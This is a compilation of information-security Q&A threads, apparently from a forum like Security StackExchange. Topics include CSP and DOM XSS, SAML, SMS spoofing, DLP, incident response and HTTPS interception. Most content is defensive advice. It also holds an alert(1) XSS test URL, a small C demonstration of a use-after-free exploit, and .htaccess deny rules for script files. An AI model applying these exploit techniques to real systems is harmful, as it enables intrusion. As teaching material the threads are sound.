Does CSP mitigate against client prototype pollution XSS and DOM XSS? DOM XSS and client prototype pollution-based XSS have one thing in common, we are modifying the pre-existing JavaScript code to popup an alert(1). Will CSP mitigate XSS in this case? Theoretically, JavaScript is already there and we aren't inserting new JavaScript, just modifying the existing code, so it makes sense that CSP won't have an effect, or are browser smart enough to prevent those variants of XSS?
External Links:  An example of client-side prototype pollution based xss

I have done some research and found out CSP does block client side prototype pollution based XSS: XSS with CSP bypass. Similarly, DOM XSS case was different. When I used this code, saved at example.html
<!DOCTYPE html>

    CSP
    <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'">

CSP

This payload popped alert(1): https://ba0c7a11a30b.ngrok.io/example.html#alert(1) but when I used this code, saved as example.php
<?php
header("content-security-policy: default-src 'none'; script-src 'self' 'unsafe-hashes';")
?>
<!DOCTYPE html>

    CSP
    <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
    <meta http-equiv="Content-Security-Policy" content="default-src https:">

CSP

it didnt result in alert(1). So I would say in most cases CSP mitigates DOM XSS and prototype pollution based xss.


Where are passwords stored in SAML? On the IdP or on the SP side? I understand the basic flow of SAML but is still unclear to me where the passwords are stored.

This image shows "APP VERIFIES SAML RESPONSE & LOGS USER IN"  from onelogin looks like the password is stored on the APP the SP.

But this other one  suggests the password is stored on the IdP (talentlms).

Where are the passwords stored?

If passwords are saved on the IdP (onelogin) side and are compromised, the attacker could access all the sites, as the attacker would have the master password?

The SP has no knowledge of the password that authenticated the user. All the SP cares about is that an IdP an SP trusts sent it a token that says the user is authenticated. This token is not related to the password in any way. The token is signed by the IdP using a private key, and validated by the SP using the related public key.

Given that, authentication of the user occurs by the IdP. It doesn't have to be a password, but it often is.


Considerations for securing a computer on an open LAN? Im about to move to a serviced office where they have an open LAN. Eg. no VLANs for individual companies. The room itself is locked so the main treats would be from cyber security, rather than physical.

Im trying to thing through the possible considerations for security and what i should add / amend.

Ive got a VOIP phone, which ive locked down it webGUI with a strong unique password.

The only sharing setting i have enabled on my computer is remote access via Apple Remote Desktop, which is secured with a strong unique password.

As with most people now a days all the applications we use are SSL and our email is with Google Apps for business which i understand is encrypted in transit.

I have Sophos AV Home installed on my computer.

The computer is a Macbook Pro running OSX 10.14.x

If others can read foreign packets in the network, they could intercept your SSL traffic (it's also possible to manipulate the trust store), besides many other things (also attacking your services).
I would recommend you to consider this network as insecure and to use a VPN with good encryption in unsafe networks (so in your office network too).


Can the source of an SMS message be spoofed? My fiancé has a drunkard, terrible ex. She sent me a screen shot of her phone saying he sent her a text but it’s not on his phone. He said he didn’t send it. The number at the top appears to be his in the screen shot. It is in the same texting flow as a conversation that had happened earlier. Is this possible?  The screen shot shows it is part of the conversation. Not a standalone text.

To echo James' response. It is entirely possible for someone to send you something for a number that doesn't belong to them. This will usually be criminals trying to get you to click a link and steal credentials. Whether this is likely will be dependant on the nature of the message received. If the message is generic and contains a link then sure it's a possibility.

If on the other hand the message is of a personal nature then the above is highly unlikely. It is far more likely to be a message that the originator is attempting to lie about sending. It takes 2 seconds to delete a single text message from a comment chain on a phone and requires zero skill. Without further information on the content of the message this is by far the most likely scenario.

There is a third possibility that someone in the friendship group sent the malicious message but I wouldn't even beginning digging down that path unless there is an specific individual with a grudge that has advanced technical skills.

Finally, the screenshot itself could be faked. There are plenty of web-services that allow you to produce fake text message chains.


Is it acceptable to have SPA + API from security point of view? We are building something like specific blogging social platform. Architecture was originally intended as to have:

single page application: all gui, rendered in the browser on the client
frontend: mainly proxy layer, api for that SPA, accessible from the internet
backend: not accessible from internet, just 443 port opened for frontend. Backend would have access to all the other systems (database, 3rd party systems, etc.)

Since we are limited on time and budget, we are thinking to simplify it as to go only with SPA + API at the beginning. API would be publicly accessible on 443 port and has open connection to all the remaining systems, althought the remaining systems would be in private network.
Is this model acceptable from the security point of view?
More specific variants:
A./ API connects directly to sensitive storage (db with user info)
B./ API has access to sensitive storages only via dedicated microservices, that exposes api that requires valid auth token and allow access only to matched user's account.
Thanks.

It depends on the security features you have planned to implement in the proxy layer. From your description it sounds like a more or less transparent facade pattern, which wouldn't add too much in regard to security anyway. But I might be wrong, so let's dig deeper.
What are typical security features on such a proxy layer:

Only exposing a defined set of API endpoints
Implementing a rule-based application level firewall
Implementing centralized security monitoring
TLS offloading (which might protect against certain DoS attacks)
Injecting security features (e.g. authentication & authorization)
Protocol translation

Please note that this is not a comprehensive list but just some examples. What you really need depends on your actual threat model.
If you have planned to implement any security feature on the proxy layer that you are not going to or simply cannot implement in the new architecture, you will have to go through a risk acceptance process. Which threats would those mechanisms have addressed and are now left without mitigation?
No random person on the internet can decide if the residual risk of missing out on a specific security mechanism fits the risk appetite of your company. The real question you must ask yourself is not "is pattern A better than pattern B", but "which security mechanisms am I actually missing when implementing pattern B instead of pattern A and how does this influence my risk landscape".


Does the OpenID Connect Core specification incorrectly define the OpenID Provider and Relying Party in terms of human participants? There are a few important definitions in the OpenID Connect Core specification that refer to a human participant, and at first glance it would seem that OpenID Connect only applies in cases where there is a human participant, but this is not true in practice.  Are these terms incorrectly defined in terms of human participation, and should they have been defined more generally to encompass usage where there is no human participation?

Here are the definitions, with other defined terms also in bold (those definitions are listed below as well):

End-User: Human participant
OpenID Provider: OAuth 2.0 Authorization Server that is capable of Authenticating the End-User and providing Claims to a Relying Party about the Authentication event and the End-User
Relying Party: OAuth 2.0 Client application requiring End-User Authentication and Claims from an OpenID Provider

Despite the existence of the above human-centric term definitions, there are many other relevant definitions in the specification that either explicitly state or imply that a human participant is unnecessary.  Given these additional definitions (see below), it is clear that the use of OAuth 2/OpenID Connect in a context without human interaction is reasonable -- and in fact it is widely supported.  Here are those definitions:

Entity: Something that has a separate and distinct existence and that can be identified in a context. An End-User is one example of an Entity (implying there are other examples that are not human participants).
ID Token: JSON Web Token (JWT) that contains Claims about the Authentication event. It MAY contain other Claims.
Authentication: Process used to achieve sufficient confidence in the binding between the Entity and the presented Identity.
Identity: Set of attributes related to an Entity.
Claim: Piece of information asserted about an Entity.

The OpenID Connect Core specification uses several terms defined by the OAuth 2 specification that support the notion of interaction without human involvement:

Resource Owner: Entity capable of granting access to a protected resource.  When the Resource Owner is a person it is referred to as an End-User (implying there are other examples that are not people).
Resource Server: Server hosting protected resources, capable of accepting and responding to protected resource requests using Access Tokens.
Client: Application making protected resource requests on behalf of the Resource Owner and with its authorization.
Authorization Server: Server issuing Access Tokens to the Client after successfully authenticating the Resource Owner and obtaining authorization
Access Token: Credentials used to access protected resources; it is a string representing an authorization issued to the Client.

Given all of this, I can't help but think that the definitions of OpenID Provider and Relying Party should have referred to Entity instead of End-User.  Am I correct?

No, the definitions are correct.

Keep in mind that a relying party does not authenticate but gets authorised through the process where the end user first authenticated and then supplied an authorisation (in the form of a token) to the relying party.

More clarification on your final comment:

The OpenID provider does not Authenticate any Entity, it is specifically an Authorisation Server capable of Authenticating a human END USER.
The Relying Party is an application, either running on a server or on a user's device.  A human User needs to have Authenticated prior to a token being provided to the Relying party, hence the work End User in the definition.


How can I generate short signatures? I'm looking to create a licensing system, and I need a serial generation scheme. I want to sign some data with a private key and verify it with a public key embedded in the software.

I don't need something that is easily typable, only easily copyable. The shortest I've gotten to is 56 base64 characters using DSA signing.

Can I get a shorter key? Functionality here is much more important than security, though it needs to be non trivial.

BLS is the traditional scheme for your situation. This paper gives two potential alternatives, "Very Short Weakly Secure Signatures" and "Concrete Short Hash-Signature Scheme with Random Oracles". However, this paper gives an attack on the former alternative for most groups

which becomes significantly faster than solving discrete log to get the private key

when a significant number of signatures are available.


How do I make a working example of a "Dangling Pointers" exploit? (or where do I find it online) I was recently reading about buffer overflows and dangling pointers. I read "Smashing the stack for fun and Profit " by Aleph1 and that paper was really clear and concise in explaination. On the contrary when I search for dangling pointers, I get some resources on what they are. I also found a BlackHat presentation about it and I understood it (not totally though). It gives a high level overview on how the exploit would work. Is there a "Smashing the stack" kind of explanation of dangling pointers using a C/C++ program? Or someone could please explain exploiting dangling pointers in a easy way which I test using some code of my own?

I just wrote a very simple example for demonstrating one possible form of dangling pointer vulnerability. You can directly run it and type "aaaaaaaaS" to reach the goal statement. Hope it would be helpful.

int main(){

    char* data = (char *)malloc(32); // Assuming that the 9th char is critical...

    data[8] = 'L';

    printf("data buffer at address %x\n", data);

    /*  ...
     *  some complex program code here
     *  ...
     */
    free(data); //the data buffer could be accidentially freed.
    /*  ...
     *  some complex program code here
     *  ...
     */

    /* Here, the allocator could allocate the chunk of data buffer for the input buffer.
     * Whether this will happen depends on multiple factors (allocation algorithm,
     * the size of the buffer, etc.). For example, if you set the input buffer with
     * size 64, this might not happen because the allocator will use a new chunk
     * instead of reusing the old one.
     */
    char* input = (char *)malloc(32);

    printf("input buffer at address %x\n", input);

    /* Assuming that the attacker can control the input. Now, the attacker can
     * type aaaaaaaaS to write char 'S' to the critical space.
     */
    scanf("%s", input);

    /* The dangling pointer is used here to do a critical operation.
     * Note that this bug might be hard to find because it will
     * almost never trigger a crash.
     */
    if(data[8] == 'S'){
        printf("Pwn!\n"); // This is the goal of the attacker
    }else{
        printf("Pew!\n");
    }

    return 0;
}


Is the system bios and network card protected by the OS firewall? My question arises from trying to understand new types of spyware that target the system bios and/or network card.

Is the system bios and ethernet card both protected by an OS firewall set to deny all incoming connections? In other words, are these two components exposed to the network when connected straight to the internet, or do they function within the firewall protection?

My concern is if it is possible for someone to remotely access the system architecture of a computer without having to defeat the firewall, and if so, how do you protect the bios and/or network card?

Remote attackers have no direct connection with the BIOS. The only point of entry for a remote attacker is to send network packets. Network packets are interpreted by the operating system, and remote attacks work by exploiting a bug in an application or a component of the operating system itself.

Firewalls protect against remote attacks only if they block access to vulnerable applications. If you're running an Apache server and there's a vulnerability in your version of Apache, a firewall will not protect you since it has to allow HTTP requests to go through.

It is possible to have a bug in the network card's firmware. This is rare, but it has been known to happen. If the bug affects the way the network card handles packets before it transmits them to the operating system, the operating system's firewall will not help. One potential source of vulnerability is Wake-on-LAN and similar protocols if implemented incorrectly. In this particular instance, a machine is vulnerable only when it is plugged into the network but turned off! The way to protect against such attacks is to block wake-on-LAN packets from untrusted sources with a network appliance located between the machine and the hostile world.


DLP email techniques I've been asked to implement some external commands to be called by our email server in order to perform some basic check over outgoing messages.

I'm doing a research to understand what kind of checks I can implement.

Some notes:

keyword DLP rules are under scrutiny
there's no confidential classification scheme in the company. We're gonna do it in the near future. Therefore, there's still no way to identify a document based on classification keyword
there's no budget to implement a dedicated DLP solution

Here are some checks I thought to implement:

count the number of messages sent by a user per day. If the number of messages of the current day is higher of a defined threshold (in percentage, say 100%) compared to the average number of messages sent in the last N days, raise an alert. I should also consider a minimum number of messages, below which this check has no sens
analyze the size or the number of attachments sent by a user per day. Same check over a threshold as described in the previous rule

Did any of you performed any kind of such an activity?
Do you have any advise on other kind of rules or approach?

I don't mean this to sound harsh, but this is part of my day job, and to be honest I don't think you have the experience or scope necessary to pull something like this off successfully by yourself while achieving any sort of meaningful result.

DLP is a HUGE domain. You haven't even been given any clear direction in what it is you need to be catching which makes this all the more difficult. Stolen internal sales leads or books of business? PII? HIPAA? PCI? You might not pass an audit of the latter two rolling your own solution (talk to your auditor BEFORE you start development).

And neither of your triggers will catch anything but a rogue spambot running on your network. In my experience people that exfiltrate data know they're doing something bad and take at least ONE step to cover it up. They're also not going to suddenly start sending 100x more emails than they usually do. At best using a regex for socials or A/R numbers might catch some accidental cases of Outlook autocompleting the wrong address and the sender sending it without looking.

How are you going to distinguish 16-digit card numbers from any other 16-digit sequence?
You could catch them all, but who is reviewing these false positives? Is anybody? If you don't have the budget for a commercial solution, do you even have analysts that are going to review anything you find?
Word documents. Are you capturing and/or reading through those?
Text files or docs renamed as something else?
Images. Are you performing OCR on all outbound images?
Alternate data streams/stego?
If I export cardholder information to a PDF and stick it in an encrypted zip file, would you catch that? What if I stuck that encrypted zip inside another encrypted rar? You'd have to decrypt at least one layer of zip/rar file and parse a PDF to catch it. You could block all binary attachments, but when they turn to an alternate channel to send it out another way, will you catch that?
You want to catch social security numbers? How are you going to distinguish those from mistyped phone numbers? Is 273-555-1010 a phone number or a social? How about 123769931? The same regexes will catch either.

Keep in mind none of these cases involve a change in velocity or attachments, as you're proposing you'd look for. It's just one malicious email among many benign ones I'll send that day. Maybe yours is different but in my experience most people aren't dumb enough to just dump PII into the body of an email and send it; 90% of the time it's encapsulated in at least one other format (pdf, txt, doc, doc inside zip, zip inside rar, etc).

Your question specifically pertained to email, but you also need to consider people using Facebook messaging, Dropbox, USB sticks, etc. to exfiltrate data...otherwise you might as well not bother. Email is just one tiny vector.

Don't mean to dump on you, just pointing out some of my own experiences with this field in the hopes it spares you some headache. You have no idea what you're getting into if you have no budget for tooling. DLP is one of the few areas I truly believe commercial solutions can do far better than rolling your own.


DROWN CVE-2016-0800 Patch Missing on Centos 7 My security admin is worried that my OpenSSL version does not contain a patch for DROWN (cve-2016-0800).

I ran a yum update and have installed the latest Centos 7 OpenSSL: openssl-1.0.1e-51.el7_2.5.x86_64

When I check the changelog using rpm -q --changelog openssl-libs | grep 2016 I have recent CVE fixes but not one for 2016-0800.  Is the official Centos 7 OpenSSL really still vulnerable?  If not how can I prove my install is valid?

Is it possible that the RPM I got is mistagged?  If so how do I get its checksum and where can I verify it against an rpm release?

I realize there are tests specifically for DROWN but this is one example among many other missing CVEs and I don't to be on the hook to individually test each one.

According to the Red Hat security advisory for that CVE, RHEL 7 is not affected.  If you follow the article in the external references to another security advisory, you'll see it says:

  Note: This issue was addressed by disabling the SSLv2 protocol by default
  when using the 'SSLv23' connection methods, and removing support for weak
  SSLv2 cipher suites. For more information, refer to the knowledge base
  article linked to in the References section.


Most informative DEF CON talk? I didn't make it to DEF CON this last year...

I'd like to know what you thought was the most interesting/informative presentation and possibly a link to more information on the topic.

[mod - switched to community wiki]

It really depends on where your interests lie. There were several good talks about several topics. There was a good talk by Dave King about using Arduino as a hacking tool.
The UAV talk was particularly entertaining and was also physical computing based.
The ATM talk was a great insight into the vulnerabilities of embedded OS's, namely XP embedded, which runs on ATMs, POS devices and several other hardware solutions to sensitive data transfer.

There was a great talk on social engineering as well.

There was definitely something for everyone, make sure you make it this year and we'll hook up for some partying.


If I suspect my server is compromised then should I disconnect it immediately or not? From Power or Network? According to Mandiant, you should not:

  Mistake #1:  Immediately entering “remediaton mode” – also known as playing “Whack-A-Mole”
  ... as described here:  http://blog.mandiant.com/archives/1525

Are there scenarios when it's prudent to take immediate action by disconnecting?

Merged with this question as the answers should be useful and similar:

When a server gets rooted (e.g. a situation like this), one of the first things that you may decide to do is containment. Some security specialists advise not to enter remediation immediately and to keep the server online until forensics are completed. Those advises are usually for APT. It's different if you have occasional Script kiddie breaches, so you may decide to remediate (fix things) early. One of the steps in remediation is containment of the server. Quoting from Robert Moir's Answer - "disconnect the victim from its muggers".

A server can be contained by pulling the network cable or the power cable.

Which method is better?

Taking into consideration the need for:

Protecting victims from further damage
Executing successful forensics
(Possibly) Protecting valuable data on the server

Edit: 5 assumptions

Assuming:

You detected early: 24 hours.
You want to recover early: 3 days of 1 systems admin on the job (forensics and recovery).
The server is not a Virtual Machine or a Container able to take a snapshot capturing the contents of the servers memory.
You decide not to attempt prosecuting.
You suspect that the attacker may be using some form of software (possibly sophisticated) and this software is still running on the server.

The answer depends on your level of sophistication, the level of sophistication of the attacker, and your goals.

The Mandiant blog post, from one of the leading providers of incident response and computer forensics services, is intended for sophisticated organizations responding to an Advanced Persistent Threat (APT).  One of their concerns is that you might not actually even resolve the problem if you can't observe the attackers work across various systems on your network.

But most security incidents are less sophisticated attacks on poorly administered machines.  In this case I think you're better off following the advice in the highly rated answer to the Server Fault question "My server's been hacked EMERGENCY", which suggests that disconnecting the server is indeed typically the first response, though you should not act in haste.


Is there a SAML scenario where you would need an encrypted assertion if you are using SSL? I'm trying to understand the benefits of encrypting assertions in SAML requests, especially if those requests travel over SSL.  As I have read, this isn't required.  After authentication, if a service provider requests information from an IDP over SSL and provides its public key, what scenarios exist where something could go wrong if the IDP does not provide encrypted assertion data in its response?

Consider where an application uses edge termination of SSL traffic. With encryption, the data is still encrypted until it reaches the specific server that decrypts the assertion. Without encryption, the data is sent over the internal network between the SSL termination and the application server in clear text.

This is a pretty common setup, especially with larger organisations, or where services like Cloudflare are used for load balancing.


How can this sql query be injected? I've a php code where I get the page number from a GET request and then run a sql query to select records from the database by the page number

$maxPerPage = 20;

$page = $_GET["p"];

$applicants = DB::query('SELECT * FROM registrees ORDER BY id DESC LIMIT
'.$page*$maxPerPage.','.$maxPerPage);

My question is can someone inject an SQL query in this code ? and if it could happen, I need examples of the sql-injection that can run here.

The problem here that the $page is multiplied with $maxPerPage if I tried to add any string in $page php will throw this error A non-numeric value encountered.

Any ideas ?

The code in its current status is not running if $page is a string, so if you can't parse unexpected data, then it's not injectable. Even encoded commands would require the ability to parse more than just numerical data.


Using "Literal" Passwords Many people, including my friends, use passwords that sound exactly how they sound when responding to a question about what the password is. For example, if person X asks person Y what the password to the computer is, person Y responds "i don't have one". Now that is meant to be taken literally as the the quote is the password.

So should these types of passwords be used and what are their limitations? I suspect not for the same reasons why we don't use 1234 or abcd as passwords.

The problem with this approach is that people are very predictable. These  sorts of password schemes turn out to not be very origial. For example don'tremember and don'tknow are both among the 1,000,000 most common passwords. While I don't know didn't pop up in my quick search, it seems way too predictable.

A further problem with this sort of password scheme is that it encourages reuse of passwords across websites. There are many good answers on this site (eg: this one) that explain the problem of reusing passwords.


What are security concerns of the predefined user in Web Application? We use a predefined admin user in our web application.
The configured password is very long and different for each installation and we have implemented brute force mitigations.

What are the security concerns of having a predefined user?

You should insert this user into your database uniquely for each installation, instead of hard-coding the account, or at least give the ability to disable the account as well as reset the account's password.

You cannot predict how this backdoor admin account you are creating could be abused in the future. Maybe your company's sensitive files are breached including all your installation passwords and now you need to quickly disable the account. Maybe an attacker uncovers a vulnerability in your hard-coded admin account logic and suddenly you have no way to remove it.

It's better to give yourself options in the case of a breach like:

ability to delete account
ability to disable account
ability to rename account
ability to reset password


Is there known statistics of passwords used during brute force password attacks? I have been reading quite a bit about brute force attacks and I am wondering whether the passwords that are used in such attacks should be kept around so as to later prevent my users from having those passwords, since those brute force systems checked with those passwords, I would imagine that they could try again with the same set of passwords against other accounts and thus not having such passwords used anywhere on my systems would probably be a good idea...

Of course, over time I could end up blacklisting a very large number of otherwise really good passwords. So my question about brute force password checking over the Internet would be:

Has anyone made some collection of the passwords used by such brute force attempts? And if such collections exist, what are the stats on reuse/retest of a certain set of passwords? (i.e. are those robots always re-using the same set of passwords? Are these always checking with completely different passwords?)

As I understand it, brute force attacks come in a few flavors:

True brute force, starting at A, moving to B, and so on until you get a hit.
Dictionary attacks, working through all known words.
Targeted attacks, working from your own password list (made from leaked passwords, and transformations upon them).
Targeted attacks using the personal information of the target.
A combination of the above.

1 and 2 you can defend against, but there aren't any specific lists. Keep people away from whole words, and increase complexity, and you can do something.

For 3, you've got a password list, banning all entries on the list may not be the best move, but you can take the most frequent offenders.

For 4, there's not an easy programmatic solution. It's a people problem not a technical one.


folder and file permission shared host advice I have a website with a webhost company. I wrote a little php/mysql application - no file uploads, just administering data from the DB and creating pdf with TCPDF. There are folders like css and js but nothing else.

As I have limited control on the shared host, what would be the best practice to keep the files safe but executable.

So let's say:

index.php
connect_db.php
page1.php
unctions.php
IMAGES folder
CSS folder
TCPDF folder
.htaccess
php.ini

Update:

the server is Linux server with PHP5.2 (optional 5.3) and I have unlimited webspace... The main reason that I am asking because I had an attack and someone managed to put some folder (nedbank) and some email form to phish personal details. Now I am building the whole site from scratch and would like to cover every aspect.

I also broke this question to more questions so people might use as well as a good practice resources.

Remember .php is executing in the PHP application stack on the server. It may have access to do more than just a user browsing the web site.

These are my suggestions (not a complete list) for PHP on Apache with limited server access. Hopefully this will get you started in the right direction...

Sanitise Database Calls

When reading and writing to a database sanitise your input especially if you are requiring input from a user. Also be wary about building SQL statements on the fly with user supplied input. Allowing a ‘ or a “  or any number of other character in input could allow a user to inject their own commands to say query the user table. If possible, restrict user input a-z,A-Z,0-9 as this is generally safe.

Here is good stuff that you should know about if you are going to write PHP for your web site.

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Apache .htaccess files

Also, you can apply some good lock downs to your .htaccess file to prevent unwanted or miss use of you web site files.

http://httpd.apache.org/docs/2.2/howto/htaccess.html

You should limit file permissions to .htaccess were possible by setting something like 644 (rw-r--r--). But for an additional layer also put the following in your .htaccess file for the root of your website.

# Prevent access to .htaccess from web.
<Files .htaccess>
  Order Allow,Deny
  Deny from all
</Files>

Limit Permissions

Limit permissions to what you really need. For example if you don't need execute on php.ini don't grant it (it should probably be set to 600). If you are unsure, start with a low permission level and work your way up. It won't take long to try and you will save yourself the headache latter.

Also be careful with execute on image files and files that obviously should not be executed. If someone can use images embedded in your pages to execute code they will if you let them.

If you require access to write a directory like uploads then block access to files that are not required. For example if you have a PDF or image upload directory .php files probably would not be required, so block it.

<FilesMatch "\.(htaccess|ini|sh|php)$">
  Order Allow,Deny
  Deny from all
</FilesMatch>

Better yet, block any files types except the files you need.

Order Allow,Deny
Deny from all

<FilesMatch "\.(jpg|gif)$">
  Order Deny,Allow
  Allow from all
</FilesMatch>

Disable Directory Browsing

If not required disable it. Giving people access to see what files you have may give them information to attack you better. You could disable it via a .htaccess file in the specifc directory or at the root of your site by using something like this.

# Disable directory browsing
Options All -Indexes

Third-party Scripts and Applications

If you use third-party scripts, includes or applications in your website make sure they are from a reputable source and keep them up-to-date. Join mailing lists if required to make sure you know when a new release comes out. A lot of automated attacks against web application using PHP and other scripting languages use well known vulnerabilities that have been previously fixed.


How does the attacker to ransomware get the password? I have been thinking about ransomware and as I see it the password seems like it should be a problem for the attacker. I can see it going down one of two ways.

Either the password is included in the program and set prior to the attack in which case the password can be retrieved by the victim.

Or the password is sent back to one of the attacker's servers and the password in that case might be found in a log on the victim's computer or network equipment on the way and also making the attacker traceable.

In both cases the attacker risks that the victim can get the password without paying. Do they have another way of getting the password that is more secure or do they not care if some victims get away?

The attacker can use a form of public key cryptography.  For each victim, the attacker creates a public/private key pair.  The victim's files are encrypted using the public key, but need the private key to decrypt them again.

The private key is only disclosed to the victim once the ransom is paid.


Google approach to device security (BeyondCorp): managed devices and inference engine I'm reading the BeyondCorp papers and trying to get a very high level idea of how it could be implemented by a small to medium organisation, rather than a behemoth like Google.

What kind of software would a managed device require? I assume that not only an anti-malware, but something that also blocks potential dangerous requests (e.g. to domains/ips knowns to below to APTs CCs). Also, would this software check that there's no data leakeage? (e.g. someone pwning the device; using it to access internal systems and then exfiltrating the data).

One of the goals we have with the research papers is to save other companies time and effort in moving to a BeyondCorp model, especially because as we've grown the model internally we've opened up many of the elements to others to use. On Google Cloud this is collected under the umbrella of Context-Aware Access.

The best way to stop malware is binary authorization, allowing only trusted, safe executables on each managed device. Every system gets tricked, even this one, but it's by far the most reliable way to protect yourself, especially from zero-day vulnerabilities.

In "Building a Healthy Fleet" we dig into ways to manage a fleet of machines, including monitoring and maintaining their health. That paper links to a bunch of tools, and lays out best practices across many methods.

OS Query and Santa are two open source tools to help with controlling what software is allowed to run on machines you manage. They give you both control and visibility, and can scale to a large number of machines.

Google also provides Endpoint Verification for Chrome and Chrome OS, allowing you to then feed machine metadata directly into access decisions made by other BeyondCorp tools to control which devices can access Google Cloud resources or Cloud-backed web-apps.

I don't think any of the tools I've listed will prevent data leakage from individual devices, but you can see other discussions here.


Are the developers of WordPress avoiding security by obscurity or there some reason to expose plugin and login names? Tools like wpscan are out there in the open, which make the scanning of any WordPress website plugins without any authentication and receive sensitive data like wp-admin login names (which usually contain PII), plugins used, etc.

Is this exposure of this info done intentionally or not?

Information Disclosure is a kind of vulnerability that different people have different views on. Usually, it boils down to two competing philosophies:

It's a vulnerability, because it gives an attacker an unnecessary advantage, however small, that they would not have, would I not have disclosed this information.
It's not a vulnerability, because knowledge of the installed plugins and version in itself is not a problem, as long as these plugins themselves are not vulnerable.

Both of these views are valid, but when first confronted with them, most people tend to be on the "better safe than sorry"-side, and want to prevent information disclosure at all cost. However, sometimes it may be beneficial to disclose information, such as when scanning for vulnerabilities. This may seem paradoxical at first, but if you run a WordPress instance with a number of different plugins, having an easy way to access the version for every plugin and checking that against a list of known vulnerable plugins can be helpful.

Could all of these have been concealed?

Yes, absolutely. WordPress could have been designed in a radically different way, which would have made plugin detection a lot harder. But then again, WordPress was made by developers who primarily focussed on making a system that is easy to work with and easily extensible. Avoiding information disclosure at all cost was likely not very high up on their priority list. If it was developed by developers with very little exposure to security topics - which is absolutely nothing abnormal back in 2003 - then they might just not have thought about it.

So why not change it now? Because changing the architecture of a system that is as widely deployed as WordPress is a very, very monumental task, and such a task requires a damn good reason to undertake. Preventing people from knowing you use ACME Corp's Best Plugin Ever in version 13.3.7 is really not such a big vulnerability - even for people who consider it one.

To Summarize

  Did the WordPress developers expose all this data on purpose?

Probably not, but I don't speak for them.

  Can this still be "fixed"?

Yes, in theory. But in practice, the impact is so low and it would break so much, that nobody bothers.


Security concern to implement a web based remote desktop I am implementing a web based remote desktop application.Through this application client can connect to the server and can access the server using JSP/Servlet Java robot class.

I can configure the server to listen on port 6060 or any other port, but what kind of security measure I need to take to secure the connection. I know how to authenticate the client before establishing the connection i.e. using login page and chaptcha to prevent phishing attack and dictionary attack.

Another issues would be if I enable the client to upload a file to server, then how can I detect that the files is safe, is there any program to detect malicious files, or it only depends on the anti virus software.

Lots of questions here.

How you secure a connection depends on how much control you have over both ends (and the connection in between). There's lots of code and tools available to support TLS, so it's relatively easy to implement security using this - but there is a lot more overhead than, say IPSEC - but that's a lot more difficult to configure.

The problem with seperating the encryption layer is that you start losing control over the buffering / naggling - you want to get a near real-time response. Generally this would favour using UDP rather than TCP, however my experience using VNC is that within around 60ms distance it's still usable.

The big problem for this kind of application is getting your operating to talk to a virtual screen. The X Window system was always designed with this in mind - but for other user interfaces it can be a lot more complex.

A big question is whether the world needs another remote display protocol - have you had a look at novnc? This requires no client other than a browser and uses VNC, hence all sorts of server (in the RDP/VNC sense rather than the X Window sense) are supported.

  how can I detect that the files is safe

Exactly the same way you check the fle is safe using any other protocol - quarantine files / convert them to a format which doesn't support embedding of malware.


Security w/ Router Behind a Router? I have a SMB (small-to-medium-business) router (router x) that my workstations run off of in my small business. I wanted to offer my customers wireless internet while they wait for service so I installed an extra wireless router (router y) laying around at home. I plugged router y into router x so router x with IPs on the 10.0.0.0 network are assigned to all the workstations and router y. So for example router y has IP 10.0.0.128 assigned by router x by DHCP. When a user connects wirelessly to router y they are assigned an IP by DHCP on router y off the 192.168.0.0/24 network.

My question is: will anyone connected to my router y on the 192.168.0.0/24 network be able to tunnel their way into my 10.0.0.0/24 network through router y?

This is a very similar question but the only difference perhaps is that it's a wifi AP and not another router.
Attaching hotspot to existing network - can it be secured?

Yes, they can.

Based on network topology, your protected network should be connected as far away from the Internet as possible. By allowing router Y to be directly connected to router X, all the wireless clients need to do would be to run a trace route, and then they will find out that they are actually connected to your corporate network.

You can try to remedy this by reversing the position of X and Y in the network, so that the wireless clients are connected to the outermost network whilst your business network is in the innermost layer, eg.

Internet -> Router Y (wireless) -> Router X (business)

Or, you can keep the same configuration that you mentioned, but place router Y in the DMZ of router X. The DMZ should limit the wireless clients on router Y from connecting to the business network of router X.


Direct access to clients behind NAT We have a client/server application which we set a port for both server and client to listen to and then enter a list of clients as IP (Host)/Port pair in the server's admin panel for monitoring clients.
Then the server connects to clients and asks them to send some information and so on.
It works fine in the local network but the problem is running a server on the Internet and accessing clients behind a NAT/Firewall.
We cannot make them change their routers' configuration or their routers may not have the port forwarding feature. We can only run the client application on their computers.
We don't have access to client routers. Clients are individual users who use some random ISP and may have dynamic IP addresses.
Which solutions exist for solving this problem? Writing custom software or using ssh tunnelling...?

It sounds like you need to setup port forwarding on LAN router.
From the Wikipedia page linked above:

This technique is most commonly used to make services on a host
residing on a protected or masqueraded (internal) network available to
hosts on the opposite side of the gateway (external network), by
remapping the destination IP address and port number of the
communication to an internal host.


Wireshark SSL stripping well this question could be asked in Wireshark forums or Stackoverflow forums but, I think the question invloves development and security factors as well so i find the Information Security forum is the suitable place for asking this question. Well straight to the point. Here's the steps I've been through until I hit a problem.

I have a website that runs on an HTTPS protocol serving the Android application
I generally debug requests / responses via Wireshark running on Windows operating system.
I requested the private key to the server programmer so that I can attach it to Wireshark.
The server programmer said he doesn't know where the key is now since the key is in a Docker image, but he will look for it soon.
I still needed to debug my app rather than copy-pasting Log.d() all over my Android app.
found out there was an app called "SSL" in Google Playstore and I downloaded it and tried it.
it installs a "packet capture certificate" (which Android is pretty suspicious because it's a third party certificate)
installed it anyways cause my testing phone is a dummy phone
started capturing HTTPS packets that are decrypted

How can this actually work?? this application obviously knows how to retrieve packets heading to other apps. But how can it decrypt the ssl? or is it the other way around? are the apps reporting the decrypted HTTP packets to this app? Finally, is Wireshark able to decrypt packets just like the main app by exchanging keys with the server?

To begin with - I won't go into too much detail for this answer. Read more about HTTPS and the certificate system if you're curious ;-)

HTTPS needs certificates to work. These certificates are meant to be a guarantee that you're talking to the right server (and not to the server of an intruder). Encryption only (without this authentication) would be pretty useless, because it would be trivial to intercept and decrypt traffic.

To manage all this certification stuff, we use a  Public key infrastructure. Your phone trusts only certificates signed by a certificate authority.

By installing the app, you mentioned in step 7 that you imported a "packet capture certificate". Now your phone trusts everything it trusted before - plus all certificates signed by the "packet capture certificate".

Now the app can act as a proxy between your device and your web application. It decrypts your traffic so that it can display the packet contents, and then re-encrypts it with its own secure connection to the web application. This is similar to a Man-in-the-middle attack. This only works because you trusted the certificate. (If you wouldn't trust the certificate, your phone would most likely throw a connection error.)

